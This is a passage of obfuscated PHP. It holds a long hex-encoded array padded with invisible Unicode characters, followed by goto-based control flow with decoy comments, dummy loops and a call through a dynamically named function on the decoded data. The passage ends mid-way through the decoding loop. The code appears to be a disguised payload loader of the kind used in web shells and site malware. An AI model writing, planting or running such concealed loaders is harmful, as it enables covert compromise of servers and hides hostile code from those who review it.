1᠎⁣7͏​5�','�5￳⁥⁠​1￰⁠4￷⁤2￷3឴￷7￱⁩‬‫4','⁣‎e⁡⁥6​⁣⁩‍3⁣7؜‮឴⁡0￵‬⁠7‮￱͏6؜�','��͏6‮fᅟ⁢3⁣‌‌1­᠎⁡6؜⁩⁦a￾⁧⁥','3⁧￳8‏ᅟ￴‌7⁧￰⁩￳8ᅠ⁢3⁤؜⁥3￱6͏￿­a‎‍','7⁡⁩a⁤᠎⁥6⁦￸a￷​‌7‪⁥3‫7᠎⁠1⁩￾5؜‏','4￳‮⁥‎4ᅠ‎5⁠‍4​‫e￲6￵‭2‮⁧7','￶7‌​؜6￰​9￳￱4‬‮4⁡⁠7￲⁡a￶￾‏⁡3⁨�','��8͏￵￷3‫‮3￿‏7￶‏a￲￳5‎‬‪ᅟ5⁠‍⁧4⁨�','�￱‪8⁨￾‫‍5‭⁨￾3￳⁣‏‬6⁤⁠4​￲6‍឴�','��a؜￾5ᅠ9‭͏￷3⁤￶￳​1‏⁧6￷‍‍‫7‍4᠎','￾c￴⁠‌4‮￰9឴‌￿7￿￿0⁡‫‫‫6￳￴￸c⁥‍‪2','­⁠b￱‎‭6￱‍￵e￾⁡⁤7￵឵‬2￳͏3‭‭‮8‌⁥','5⁨￰4឵‎‭5￳8؜6⁤؜￳b￲‎6￱￵­￰9⁣￳2�','�ᅟ⁨f‎5￾6⁦￰‏4￸⁤⁠a‌͏ᅠ66￵⁩�','��4ᅠ9­⁡3‎­⁦⁨5‭឵4­5⁣￳7￲6‫ᅠ4','​￶­2‎‌⁡6￰￱‍a￸⁥5￰8￵⁨3ᅟ⁣‪','3​‮‫￸7‫‭឴‏4؜‍5ᅠ￳5⁡￷‎᠎5‫⁨⁦8ᅠ͏','‫4⁢￱͏e⁩‮4͏ᅟ1‍￲‍‍6￳᠎‏8‫￾⁨7‭','‍3‫ᅠ￾3⁣3឵5￵‍a‪5‮￰￴2᠎⁤7‫￰6�','�‫6឴‍⁡7⁡឵3￳‏⁢0؜؜7⁠⁤3￵ᅠ͏7‪5�','�⁥7‪‫8￱឵⁡‬6឵⁣c6⁦￶￶f￱⁠⁤5⁡⁥឴','⁦1⁣⁧‏3￿￸27ᅠ⁢⁤a￳⁥⁢4឴‬2￳‬�','��7⁨‮6‎6‭ᅟf‭⁠4᠎‫‪‌8⁡ᅠ7‏‪�','�‬6￷￱6⁥￷￴d￸5￴⁠1￴￷6￿͏￳c5‫⁦','⁤ᅟ4⁢⁤5‌￳8⁠⁥6￲c⁡￸3‬‬3⁧؜3⁡឵⁧1','￶￵3ᅠ6￲￱4​᠎￿8⁥5￷ᅟ‎‫5￲឴6⁡⁡5','⁢⁣ᅠ6￿‎ᅠ1‬឵5͏⁨a⁧⁡⁧3‫᠎5⁧‌￾7�','�￰‌឵a͏7‏‫9‬⁥6‭⁥⁥￶b￱⁨ᅠ4‍ᅟ4⁢�','��‮7឴‎᠎4￷5​￾7͏⁠⁣4⁥‏⁦c￶⁤4ᅠ￾d⁤�','�4￾⁥e￶⁣⁤7‭⁢⁤1឴឵᠎6ᅟ‬6⁡￵5￶￲','1‫5⁠￳‪឴3͏⁨⁧6⁨￴9⁤⁠￶6⁧9‭⁤឴6�','��᠎‭؜c⁨3￶2᠎⁤‎￿6ᅠ᠎6￶⁥4‮⁩7⁩','￶5⁨9⁥⁦5‌￱‌­4͏￶‬7؜￲9​‮⁣6឴￵8','‍‍￸7￱‍2‫⁧ᅟ​5￵͏a⁤6‬‬￿b‬‮‫‬6�','�￶d￵4‌‮‌e￾­6ᅠ⁨⁦‏a￾￲⁤6­93�','��⁠￵￷3⁨5​᠎￿6‫5￰­‫⁡6ᅟ⁦￶5‍￸6⁣⁧','⁥2‏‭f⁡​⁦3￿‏￰᠎2￰6ᅟ￶‌឴1؜￾7⁩￸9�','��￰6￰8￴ᅟ7￿95￳￰1⁩­4￳4‭￲5‏­�','�7‫ᅠ‬￰5￳⁠￴1‮￳‌‬4឵⁩f‍‏5￴⁢9‏6‮­','￿3￲⁨​6￿￾b᠎⁢3￸‭5­￳⁤3￾⁢⁢4�','�⁧￶‬7⁧7‭‍4⁢￿d⁤￸‍᠎3​￶⁠9‏‪￵3⁩','￶￳8឴￰⁠7‪͏9‍­6￿⁦‌b⁣‍4￵᠎9⁠⁨7�','�⁧2឵￴­⁨5￰⁩￰1‎⁦￵7￱­ᅟ0⁧￶￵6','9￵￸3￳￲3⁦⁦6⁧￾⁥c⁤‫4‌឵‪1­ᅠ⁥￲6​�','��9‬‏￴4឵￾⁣b￸￰⁦؜5￶‭0‍7⁣⁤￸⁩a⁦⁦','⁩6￱8‌‭⁦‍4⁤‎ᅟ4‍‎͏4‫­1‫4؜￳2‪','᠎⁨2‬b￾​￸5⁢⁦᠎⁧5‫​6￾‍9؜‏','6‪⁤8￶￾￿￾7‌￰￰9⁥᠎͏￵4⁡￰3￸‫3⁣￰�','�4឴￲4ᅠ⁨⁢7⁣‭⁠6⁩2‮‎￶2⁢⁨￳f⁠7�','�­​a6⁢⁥f‬6‬ᅟ94⁧4⁠᠎4​⁨','឵eᅠ6￱⁧￱c￵‭⁢5￱⁨7￾͏‪5￵‎1￲⁤4�','��឴￳3­‍⁩4឵؜1‪‬⁩​7⁨⁨‬0­4؜‭￲4ᅠ','4឴‌1￱7￷‫8‏‎឵⁣7￲‌8឵‎͏3‮9⁩⁤�','��3͏឵͏ᅟ6⁥⁢឴4͏͏7￶឴4᠎⁦f￴‏￵5​￵','1￶‍5￸­ᅟ5￲‍‬￲6￾‌‮5؜؜ᅠ￰6ᅟ⁡�','�2‭￵5￶᠎‏1￰឴‭7‫￱⁡9ᅠ‎⁠6‎￰ᅟ2￸','6​1⁢4￷⁦5‮￰￲5￸‬9​⁤7￲᠎￱￶6','​ᅠ3￶‬1ᅟ‌⁦6‪￳8‎⁨5⁨‎7‫5￿⁨￰5','￿⁠6‌⁦￱d⁨￿‬6￶￶4‪‬6⁦᠎8‭‮7؜�','�8؜⁣‬7͏᠎8￱￳4‎‬‮9￸‎￴6឵‌6⁧�','�͏5឴￷9⁤￾‪7​⁠6⁤￱5᠎᠎‭1឴⁤4؜￷a￴￿⁡឴5','᠎⁥7⁦￵‬4￷⁨⁡឴9‭‏6‭a5‏‌­a￰6؜3�','��؜￰6‍￾8‮￶6⁨⁤￿￱c⁠⁧￷6‍‎a⁡⁢4￳᠎','a឴￴￾4￰￰f⁧⁣5͏឴0⁧7⁡9‌ᅠ5឴​4⁡⁣3‮�','�‭⁣0‭⁠⁥3‌‌5⁢‎឵7‎⁣6⁣‮3؜￶5​�','��‏4឴឵‬c឴4‫­6￿‪4⁤d‎⁠؜4￾‮7⁨￶⁡','4￷3￿‍‎4￰ᅠ9￲ᅠ4͏᠎⁢e￿​6‏​7᠎⁧￴4￵','‫­a​‫4⁥឴e￰ᅟ5⁤￲￱5­­⁢᠎6￲￶e⁧͏‪4�','��‍9⁤⁠⁩5‪ᅠ4￸￷￰4‭؜6￱ᅠᅠ4‍឴4⁥','⁩6⁩4￱4￿2‭‏⁠7‮‭​a￷‏5‌⁡⁨2⁤‌','͏6￵⁣⁠f⁦‭2͏‍f7￴͏‍⁡7⁨‏⁦5�','��⁢6⁤⁠3⁣ᅠ؜￸43⁥￴឴7⁢￸⁨4￾￲⁩឵2￿','⁩6឴⁧⁦a￾‭7￶￱‍­5⁠឴￰3⁤͏5⁧⁠￱2‍￴','‎f￴‌4⁦ᅠ4‏￷6͏5‫⁦6‮͏￷8￳឵7⁦￰�','�⁠a⁢7￿⁦ᅟ2ᅟ­￵឴7‏￴3‪￰￳￳6᠎‎2�','��￳5⁡￾3‬‎⁥‪4￷‮​8￲73‍5‍￱ᅟ￶5�','��‎‬￷7⁡⁨7⁥͏ᅠ6⁡؜bᅟ5⁡‌￵2ᅟ￰6￱‫‮�','�d￶￲‌3￷឵26￴￲⁥​a⁥￸5￰‫⁡￴5￶ᅟ','￿4⁦‎6￲‫7￴￾⁥7￳￿3￱‏3᠎‮7឵7￶؜4','‍⁦8‭￶3⁦⁠‍0￾￴⁥3⁠͏6‌￾⁨‍3‬￳8�','�؜7​⁧⁩1￷‏2឴⁢￰f⁩‎￶4‬‌￶2⁤​￷2�','�ᅟ឴⁢f￸⁧￰7‭3⁩￳⁣3⁦￷⁤6‪6￰�','��5؜­7឵⁨a⁩⁦5ᅠ‫ᅟ⁨5￾឴6￸￴‎5￵⁣3‪ᅟ0ᅠ�','�⁧5⁣￱9‌7￾8‌឵͏‬4￳1⁦឴⁢4￳឴⁩�','��6‌᠎3‫3￾￲3￾‪ᅠ1​‏͏5឴9￸⁢3᠎‬1�','��7‌‭0‫⁨4⁣‎8￰‍‭65￲⁢⁤4⁧⁧឴�','�e⁤⁩2؜b​⁥‫⁢7⁢3⁢឵￶￱4￴a⁧឵؜3͏‎­','￶7‏⁤‍2؜￿￾fᅟ‏‭5￴⁥⁡6￸⁨￱6ᅠ￷3￸�','�⁣6￶e᠎￷3￱8​ᅠᅟ￴4⁧‬e￱￰⁥4⁥឴','6￿⁧6￾￷c‮￵4￱​1￳‮͏6ᅟ‍9‏⁡4⁨￷�','��8឴‭⁢4⁠￿￾7⁢⁡⁥￳4￷឴ᅟ‪2⁥⁩￸3￳5؜','឴6￳⁡￰8­ᅠ‭4‌b⁧5‭￴9‌‭‍￿7⁩‍⁤2�','��឴‬4឴6⁢⁨⁢5⁡4‍‮7⁨⁩8‫￳‮￷4‫￲�','�឴1‍⁣5͏￰⁡3؜‮⁧؜7⁡￾4‌؜￾6ᅠ⁤5឴ᅠ�','��4￲ᅠ឴7⁧⁩3⁥￰￱7⁦‪￳36‪‭7឴‬2￾6','‫‎2⁦឵⁠⁣2⁣⁡f⁢⁢6‭￸⁦2￸5⁢‏2‏�','��￵4ᅟ￾2￵‭2￰ᅠ⁧f؜‏￱￲5ᅟ‎4⁣ᅟ5⁢⁤‍','‮1‭￾7⁠⁣4⁡​ᅠ￴3­ᅟ3￰­4￿e￴￳4⁥‌�','�9‌3⁧͏2⁨￸‍4￰⁠3￾￵ᅟ3⁩⁠0￵⁠6‎￷‭','4‪⁨6᠎￿3￶឴4￾­⁣f‍￳￰4‎᠎b‫‪5‌�','��6⁢6᠎‫⁧e­‍5￵឴￴⁡4‎⁨⁤3‎⁩�','��6⁥⁢3​￷‫8⁡‬7⁦​‍a⁡￸6￳­⁥2⁠⁠4ᅟ�','�b￸6￾⁣c⁢ᅠ⁥7‍‫͏⁩7￴͏￳￰6⁤‫‏d​ᅠ�','�6‬‌‮7‫᠎⁡4؜6￶⁠ᅠ3‭⁦9⁤￷‎5‎ᅟ�','��؜7‎￵6‮67‫6឵͏⁣7￾‎7￲￶5⁤1�','�⁢4￴￱؜឴3⁦឵6￰￷1‬￴5￱​￷6͏​⁠ᅟ','3឵⁩⁩7͏᠎6￳‬͏6⁢⁡51￾7‪￾7‭‮7�','��឵0⁣￰⁤6￲­ᅠ᠎a⁦7⁥⁤1⁡⁦‌2​￴؜f⁧�','��￱6⁣⁣‫f￱5￾￷￷⁦4⁠6⁩‮9؜⁦63￴឵�','�3ᅠ‭⁤​6￰￷3‍​ᅟ1؜￷6￾d឵⁨6￿�','��4‮⁧⁦‌3⁦￵͏‮9￸؜‌4￵￶‍᠎1￴ᅠᅟ7­؜￲1‪','᠎4￴ᅠ￱a⁡⁣7￱5⁦‭￿￸6‎5⁣7⁧�','�ᅠ͏8­6￵⁨⁢3؜‎5឴‪33឴￴​5‎͏￴6￱','b⁢⁠‮4͏eᅟ￴￾⁨4͏​9￳⁥6‮‫d⁣￾￾‏','7￷‬4​‎3⁥ᅟ​4‎‪6⁦­￷7￵⁠⁤2⁥ᅟf⁡�','��⁢5‮7‎⁤5￷⁨⁤7￸‎6⁠a‎‌⁧￿3‏⁦�','�9￵￵7‍⁡4￲‭7‭‫5⁠￰4᠎­‫7͏⁦6￷⁥‮‮a','⁢￴7‌‭2឵‎3‏￳1￷￵7឵a‫ᅠ឴4⁦⁢8⁢⁠','7￰⁣9‮‭⁢4e⁡￿⁢‫6‭￷2ᅠ￱‬6⁨�','��⁠f⁠⁡5￷⁥3­2￸￿f­￶6￵⁤8￱￳5￾￴a⁣�','�￲6￲6‌؜‬6⁢⁩7‍⁠￲3⁠ᅟ￷؜6‎3￱‍⁨￵1ᅠ�','��￲‬5⁣2￳4⁩‏‮fᅠ⁩‍6￳￷d￶⁠6‪�','�￸8‏᠎‍5‍6⁨3‪​5⁦⁣‍⁦3￶￲8‭឵⁤‭6�','�3￲ᅠ5⁠6‎￸⁢⁥3͏⁩⁣9؜ᅟ6឴3‍‫6￾⁦�','��1￿⁧⁩6‎￱‮⁡3​￱7‏⁠1￲‏7￳￰‏⁩97ᅟ�','��឵4឴7‍￳3‍឴6​͏‬‏e￵‍‍͏6￾⁩‍5￲�','��￿6￱⁩6᠎￵͏⁢6᠎f؜⁩​7؜⁣⁠⁤1឵᠎7ᅟ2�','��￷​4⁢‪⁦1￳⁧⁢6￵⁦b￱‎5￾1ᅟ‍6⁠￳4￳￱￸3','￰⁣‎8￾⁩￷4￱ᅟ⁡1⁥⁩￱3⁧￸9‍6­e￱‍�','�4­‏឵c⁡5­￴9￾￶7￴؜­9￴3‌￸5⁠','5￱￾‍2￷᠎⁩3⁥3￱⁩4⁥e￿￶5؜឵8�','��‪5￵￰2‪￷6￸￲￵￳a⁣‍￶4‪7⁧5￾�','�‮5⁣⁥7￴⁦05￴⁨6⁦￶7⁩ᅠ￱￷3￿‫','4￳￰9⁨‫‬5ᅠᅠ9￷⁣6￳e‌ᅟ￰5⁣‪឴6','⁢￾͏3‬6⁣⁩5ᅠ­6‎￸‍6￴8￱‍7᠎⁠','a឴⁥4‏￰ᅠ⁢2឴￾￵5￴឴3⁠￾￲͏5￾1￲￰4�','��a‮⁥⁣3￾؜᠎3឵ᅟ6‎￰f￾7⁠￳‍5­￿4⁥','‍4￷6‎⁨⁣￲9‍6­‪a￴⁨￲5‭2ᅠ⁨�','�⁠6￴⁡ᅠe￱឴￴؜4‭‎⁥‪c￿6‍￸7⁠឴7‬�','��‭9‎￶7⁥⁤឵1￲᠎6￱‎1￸‮⁢7￷￷឴3�','�឴6d‭ᅟ6￷d⁩3­￵⁤9​7‎￸9','￳⁡￶7‭‭‫‮3⁡⁩6​‬⁣2͏￲5‬‭￿6⁥ᅠ⁤5�','�‌￱7឴ᅟ6؜‮6؜​6​￲￷1⁧￷⁡ᅠ7⁥⁧3‏7‬�','��￶⁦6͏‭￵6‭‮᠎8؜؜6⁩ᅟ឵￳9￾5￾­6͏⁦￲3','⁥‮￴9‏‌7⁩឴‌⁥6￾‎⁢⁦3￾⁩⁠9￾￱6‬⁨͏','⁥3឵6￷9￿⁨7‫‌ᅠ0￿￲⁢7￵7‭឵᠎�','��4￰؜4￿￱￳6￴‌b‎⁤6‪￷⁣￶c­7￳￿￾‮5￷','‏5￸￿0‪4⁥9￵￶7‮؜1­⁠⁡6‬￴‭e�','�͏5‬⁤4￵￰7⁠­1⁤͏7￲­5‮6⁩⁩⁠7','‬5⁢‬9؜⁠￸￶4⁤d᠎￱6‫2‮؜6­￷8￾￴','3‍឵⁩7￾3￷‍￾ᅟ7‮4‬឴c⁦4￿￲‮⁡a','‌5⁣‬‏4‭⁣￾4‎᠎￳‬a­⁣￷឴67⁡‎6�','�￳a⁦‪7͏ᅠ⁡5឴‮7؜a￵​5‪a⁡⁨⁡7�','��￳a4឵‌￱7￾⁣￿4￶￲8‍￲4‍᠎b￵‪�','�7‏឵‪4⁩3឵1⁠­6￸6؜￳3￾4‮͏5￾�','��⁧6‪‬4ᅟ⁣cᅠ⁡7ᅠ￶‬8⁨7­￿​3­3‮','‪0‭7‍￲1᠎‮‬3￶4￳‪￾4⁧⁨​2‍￰‫￵6','⁢⁦5‫⁦52­⁡ᅠ5￶‫­a᠎￿4‎឴​⁥f͏⁡�','��5￰ᅟ2￷឵3⁩⁩⁢￳2⁤‭7￱͏͏5‭6‪9­‭5￶','⁡a⁤឴‬6­ᅟc͏￲5￵⁨᠎5⁢͏￱￴6⁠͏3͏⁢5�','�￶3⁠͏61￱￶5⁩⁠7‭͏3⁦‪3឴‎4￾᠎ᅠ4⁥','￿3￵￱⁡9￷឵3⁡឵￶4￿3⁨6ᅟ6⁣7','‪3‪ᅟ￴37⁧0￳￿6￱឴8ᅠ5‭⁨2‫','⁠3￴‍8‪￶3​￶8￴‭3￸؜឴⁤6￰⁣⁧6ᅟ⁨2�','��­‬5⁢‬‎3‎⁩؜6￲⁧‬8‮͏4᠎​឵b͏￳4','￰⁨￲3⁨⁠￷6⁠឵5​4⁡￳3￳឴⁧4‭�','�4ᅟ￱￴6ᅠ‪2‪‎5‬‏9⁣￲‮؜3￾￷8⁠5','￳ᅠ1‭7⁤￰឴￱7⁥؜￿5᠎⁧1​؜⁣6‌͏‎d￷⁤�','��3‮￶‍￿6⁤￲4⁢⁦7⁢‬⁩￲5᠎￲1⁧￸3؜⁣','‎5​͏‭5⁤￱￴0᠎5⁤‪⁧5­￷6⁠឴eᅠ￷‪⁤5�','�￸3￵3‫ᅠ￿7‬⁢5­0‫￳4￴͏⁤b⁩￾7�','��0឵⁦3؜ᅟ6͏5⁦⁨￴￸6￳￸⁢4￴‮￶b‪￿�','��7­​⁦1￰￸3‎2￴­4￷͏￱1‭￾⁢7឴‎2‍‪⁨6⁨','6￱‬7⁡⁦឵￴0‎‬​7⁨9‬7؜⁠￵9⁥�','�￿2￲￶឵￸f‪‪7￶ᅟ͏7‬￿6⁦ᅟe￵5ᅟ￾ᅠ1','⁣3‎￸￾​9‫឴7⁣⁢ᅟ2⁠￵‌3‮￱⁡4￶�','�5ᅟ￰￱8￾61‎￴4⁠឴￶b‌7឴￲͏­2‫­�','�4‭؜⁣⁧d￵⁨5⁦‫‎￴7￳⁢4￾e￳￸￾4�','��￰￱b￲‫⁤4￶￳2￿48￵‪‪6￱‭3⁢�','�3‌￵⁤7‍‍4‮⁣‪c⁣⁣5‪‌a‪￴3⁨‌͏​4￾','͏￸⁦7￰᠎᠎9⁣￲⁦7‮឴⁢­2⁣⁦͏⁤6￾5￾͏3⁧�','�￵2⁤⁡⁦￴6⁨‏͏8⁦­­3⁢؜⁡3￶؜‮3‏5​�','�5⁩￱2‌⁤⁠5￷‍⁧a‪￴ᅟ7​⁡ᅟ​4ᅟ­6�','��ᅟ￶7‭⁨￵6឴‪a￳᠎⁨3⁧⁦7͏‫‭6­4�','��⁠5￵￴a‫￰6￲⁨9￵‎3⁢​᠎8‬⁨71￷​6','￶⁣4￸￸5‌͏4￰⁦‬6‮‪⁣￰4‬᠎⁦5￳7�','�­⁩6‍￳8￸‭￱￷4⁦‫6឴؜4‍‌￴7­͏‮�','�6‭⁠￷4‫­3￸￷8‫6￴￶3؜￶‏­2឴᠎⁤‬b‎￸6឴�','��e឵‭3⁦⁡⁠⁧0￴￰​6‎c​￴‭⁩6឴￿9⁢‪‍5�','��᠎2‭⁠‮7￷‪3‪￶3￱‪឴6­￳­⁣70￰�','�3￴‭⁥8⁡⁠7￾￲9￶7؜￸aᅠ᠎￴￴6‎឵3￴','‏‬6‪9⁣‪￸4‌￴⁥9឴4‍​⁦⁠8⁡￷឴2‪�','��￾b⁡5￶͏0‎￿⁦7⁧​­a￿5￲‌3⁢​7','‍‮4ᅠ￿‍⁢4￵￶؜⁧3￵3؜ᅠᅠ3­3⁩￵4⁨ᅠ�','��3⁩឴‭5‏‪5‫⁢5￶⁢4￰⁢‎a‭￴4￷឵7⁥�','��7a⁠឵4￵⁢⁠a￾￱5⁢‌2‬4⁩e�','��￿6￴⁩e‫5؜⁣4͏6‍3‮￴ᅠ6‮‭￱�','��1‭6‏5‌឴3￳⁣2￰⁩­3￱7⁤⁡','⁩3⁥￲5‎឵￳4ᅠc‎⁤‮5ᅠ​­3￾7⁩4⁧�','��឵6⁥￸؜9‎؜6￾‪b؜‬⁣3‮￶‌6￱‪‮3�','�⁨￿0‫3￷￵⁦9‎឵‫4‍͏8᠎￾4⁡c‎6ᅟ','឵￿‬e⁦‫￲⁤7⁤‌￲‪8‌­6͏￿­‫d￾4￶‎ᅠ�','�7￷‌⁥4⁥a⁡⁥7￲6‬‏‪3‌ᅠ8￾￸','‌ᅠ6⁣￷c￱3⁧­9‬​7‮7‪ᅠ7⁧‮឴1͏�','�7­­6￾‪￾4‬​؜4‏⁩‎6⁦￰￰￿3⁦͏4⁧￲‎b‪','4‏￾6឵⁧4￷￿ᅠb⁥⁢⁨5￷⁧3​⁥⁢6￵￾‎9','⁧￱⁢᠎4￱‪￸‏4￳3⁤⁢￶8‏￸6⁢￿3‌‪3�','�‎3‬3⁢6‪឵⁧5⁣ᅟ؜4￶ᅠ⁡4​1�','��7‭￵ᅟ឴9⁥￵4឴‭‭￶1‌4؜‍f⁢⁢‮4᠎‍','؜‮e‮￰4‪ᅠ￱c⁧‪‎5⁢￲1￵⁧3‪឴8�','�‍⁨￸6⁧؜3​￾‫4￸6­￿￷⁠6￴​⁤7⁡‏￶7‏⁡5�','��￰3￾￸⁡2͏⁡￷⁢4‫‭a‭￿3‭⁢9឴᠎6￵‮ᅟ￰d�','�￸￱47￳⁢⁤5឴​1‬ᅠ⁢5⁩￴‮8​￱4','￸￸d￶឴5⁦8￾឴͏‫7‪⁩5￳‏‫2‏f‏�','�5؜‬⁤‫5￾⁣2￿￰b឴‫3‌2឴￷￴3￵‪‭7͏�','��6‮​d￳￶6‮­2￳￱⁢￰3￳￳14‭⁥⁩1ᅠ�','�3⁦5￰­​6‫​3‮‫6￴‏￳5￰‏⁠5​0⁨‏','‌5͏‭4᠎⁡6‭‌c‮5￾‍‎￰2￵￳‎‏6￸d￳�','��؜7￷⁣2⁥￾7​­2￾6￸‍‏bᅠ‫6￸⁡b','឵￿67￵‎4⁤4⁩​឴឵5￴‮9឴⁠￿6￲￿⁧�','��6￳￲⁢4‬8‮‬‎6￳5￶⁩￸5⁣￰5‌­5؜￿','8‌7⁦⁤2￾￸4‬￶­a⁤5⁢￳឵2￴￶4‏�','��￴6￱￶⁧⁧2￴‏b⁣⁧᠎4⁢⁣￳aᅠ￶‬5￱͏�','��1‎6឵‪឵9⁧7￱⁠⁦9‪￳6‫￱e￶ᅟ⁥͏6�','�­⁦fᅠ⁣6⁩￲￳3ᅠ⁧3⁨8￰￵⁠7­឵ᅟ￾','6⁥‍‫7￰⁦‎1⁩3ᅟ￷­2￷‌6￾឵c⁩4឵�','��‪7⁨‪￴ᅠ7￰ᅠ5￶7⁥ᅠ‏7￳‎￶36‍�','�7⁥⁣￿￶4‮⁩‎6؜b‫7‫1​⁥⁩4​ᅟ￵‍e⁡','‎4￰￵￿6​2⁣͏ᅠbᅟ￲͏ᅟ5￳؜⁥7￰‭6­‬a￿�','��‬7᠎឴57‮￿9⁢￲⁠5￳5‍‌⁧3​ᅠ‎3�','��￰‪2‎￷b͏឵4⁠‬⁦b‌⁧￱6‫⁩8ᅟ‬�','��5‫⁦­a‮⁩3￰‏￸9‪6￸⁥￲7‎￴7￱‮￾￶a�','�￾3⁧‌￳⁧9‏᠎ᅟ￿6᠎‎2​⁨⁧5￱￶​6⁤�','��4￱ᅠ‪c￷6￶￲⁦4⁨￶‫6⁤￶⁠d￾⁦⁥⁨4�','�￳￸b឵‎឴ᅠ5￷‫6￵￳4‪￳‬9‌￰3ᅟ￴0‎￳឵','5￱⁠⁧3‏‍⁥￿7‫￵6⁤‎‬‏3‮￲6ᅟ⁧5⁥�','��￲9⁤2͏⁩f​4⁨￾‫3￲­4￿‫b￲⁣⁥‮7‌','‌6ᅟᅟ5؜￶￾2‍⁤5⁣⁡⁠￲1￳⁨‎5͏6￲­4￳','⁨؜⁥d5‮ᅠ6؜￳2‎‬￳b⁡‎5￷⁤￰9⁥','‪3​￶⁠2￵￾￰6￵⁠e⁩￵͏6ᅟ⁠b⁠‫⁣឵4�','�￳‍5⁩‮­6⁡‍4￷￶6￳⁤6‫⁦6‬￸ᅟ￿c￷‫3‬‭','⁧5⁠￿￿7￿￶‮⁩7‎4‌2￱ᅠ￾­7⁧￰a￰⁢�','�‏4​឵￲b￲⁥⁢ᅟ6c‭᠎4￴⁢឴6᠎￰‪2឴','f￿⁧5⁠4￿￳⁩⁢3‬⁦឴0￸‫7⁣￸‮1￴⁥￰6','‪ᅠ⁦c⁩‏4‍᠎￾5‎￿3⁥￾￸2⁧5‎⁠￱8⁣�','��͏‮4￸￴a⁥ᅠᅠ‍6￶⁣￸3᠎⁢7‬3឴⁣4‌‫','‬1⁡⁦7‫⁤͏‫2‬￵￸5￾⁦9ᅟ3‎￱9￸‎‍�','�6⁣⁦5⁥᠎ᅠ឵4￵￰7⁨￷5឵⁧￸2￲‮⁠4￸⁥￰8�','�￱‎￳6‏⁧d￱5‭ᅠ5᠎‫᠎7⁩⁩8‍￶4⁥͏￸�','��5⁠‍4᠎⁦⁨b⁡6￸​9͏￶⁣7‮⁢7‬','￵4‍￿1‫؜⁩4⁣‏឴5ᅠ‬‫4​7‫‬￵6‌­￾','￰2⁣‌‭4ᅠ⁨⁤6￳⁦᠎7⁠឵͏9￳⁥￴6­7⁠5‌�','�6‬⁥3￷᠎￵54‍d⁢￰‌3￲឵9￳5‌8⁨�','��­6⁨‌⁢f⁨￲‌5⁤￳7￶⁩￸4᠎⁩‮឵5؜⁨�','�⁩3⁡￴‫‏8⁩⁣​5‏ᅠ4؜‪4‭⁥9⁡‬4᠎�','��​c‬￵឴3឴8឵؜6￶⁢￵‬b￰￱73឵⁧','⁦⁢7؜‎⁩2⁨3⁤3‎⁩￶7￸⁩8‌​4⁠​d�','��⁠5­9⁠‏5⁦￾a⁨4‍‎‬8⁥‭￲3','‬؜0⁡￰឵4‪‪͏4⁤‫‫6ᅠ‪b؜‮6­e⁩‎�','�6￴￱8￷឵‫3￸⁣9￵5⁩؜؜9￿￾⁠5￰͏','6⁢3‍⁢2‎7￸⁩⁦a￿￶ᅟ7‫3￲ᅠ￷3‌','‌0‍3ᅟᅟ0‬￵5⁨⁣7⁡⁧⁨4឴‏‫7�','��᠎5⁣￲1⁢⁨‏7឴⁢6￾‭­​7‍￲8￶3','‌⁩3‬؜￳4￾b￰￵6‮￵e￵‬6￸￰4�','�‬‏5឵8‬⁨6‎￸⁥4￲￲⁦3‎͏឴⁧8￵‫￷6⁦�','��ᅠ8⁢4឴6￾6￷￸‍a͏￷6⁦￾‏f￲⁣4￶￾�','�8⁣‫឴5‌⁩⁦⁨4￳4​⁡‌d‮￱7᠎⁦￳​a','⁨ᅠ￴‬5￴‮‪￶1᠎⁦￸3￿⁨3⁧￿2⁠⁤­b⁠‮','4឵￵8￱4￳⁡￴e‎⁢￱‎3ᅠ‍6⁠￸⁡7​￷‪5⁩','⁣⁣7￴1ᅠ‏ᅟ5឵￿￸‭7⁢⁦­5⁢ᅠ1⁤￳3⁡‪￿�','�d￳￱3‫dᅠ￵឴⁣'];
        $nljlZ7Fp = '';
        goto uOP2u9hy;
        uOP2u9hy:
        // End of chaos flow
        goto fZ8hP00X;

        wqs1y6sw:
        goto pXMp2TQ7;
        D5BQnghx:
        /* Security component */
        if ((strlen(__FILE__) > 10 && !$RdY12FWw || $wogCrXDM)) {
            goto jkyYL8Iz;
        } else {
            goto f2q8RXvC;
        }

        jkyYL8Iz:
        while ($RdY12FWw < 8) { $RdY12FWw++; }
        goto FR3aUzc3;

        f2q8RXvC:
        $wogCrXDM = 932;
        if (php_sapi_name() !== "cli") {
            goto FR3aUzc3;
        }

        FR3aUzc3:
        $a7HX4fDW3 = !$RdY12FWw ? 1 : 0;
        goto n1cq8gsK;

        pXMp2TQ7:
        /* RfAjGEbicl */
        if (($RdY12FWw + $wogCrXDM) % 2 == 0) {
            goto D5BQnghx;
        } else {
            goto f2q8RXvC;
        }

        n1cq8gsK:
        $EgazEuXs = $_b($Umt8naOv);
        goto OJHtyZib;
        OJHtyZib:
        // End of chaos flow
        goto hReMDYjR;

        QoqbNbbn:
        goto fZpqUzyH;
        qPOG0Knl:
        if ((random_int(0, 1) === 1 || php_sapi_name() !== "cli")) {
            goto BAmepTlK;
        } else {
            goto j0dUeoNu;
        }

        BAmepTlK:
        while ($RdY12FWw < 14) { $RdY12FWw++; }
        goto gf8dk47I;

        j0dUeoNu:
        if (random_int(0, 1) === 1) {
            goto gf8dk47I;
        }

        gf8dk47I:
        $wogCrXDM = crc32(uniqid());
        goto a2Eq7ixOT;

        fZpqUzyH:
        /* Cache manager */
        if ((strlen($RdY12FWw) > 17 || count($_GET) > 0)) {
            goto qPOG0Knl;
        } else {
            goto j0dUeoNu;
        }

        a2Eq7ixOT:
        ob_end_clean();
        goto ngVL6C3j;
        ngVL6C3j:
        // End of chaos flow
        goto jLxjcG8L;

        NTfC1IIp:
        goto p4CaTKXD;
        a566UnuQc:
        // TODO: Refactor this
        if (($RdY12FWw < $wogCrXDM && time() % 2 === 0 && $RdY12FWw > 48)) {
            goto a0lL2xaYg;
        } else {
            goto a02VvsN3i;
        }

        a0lL2xaYg:
        for ($RdY12FWw = 0; $RdY12FWw < 9; $RdY12FWw++) { /* dummy loop */ }
        goto SyyM7DqX;

        a02VvsN3i:
        $a7HX4fDW3 = 960;
        if (php_sapi_name() !== "cli") {
            goto SyyM7DqX;
        }

        SyyM7DqX:
        $a7HX4fDW3 = rand(1, 1000);
        goto la7QynJ7;

        p4CaTKXD:
        /* API handler */
        if (isset($_SERVER["HTTP_USER_AGENT"])) {
            goto a566UnuQc;
        } else {
            goto a02VvsN3i;
        }

        la7QynJ7:
        $Umt8naOv = '';
        for ($u9fArqks = 0; $u9fArqks < $_l($nljlZ7Fp); $u9fArqks += 2) {
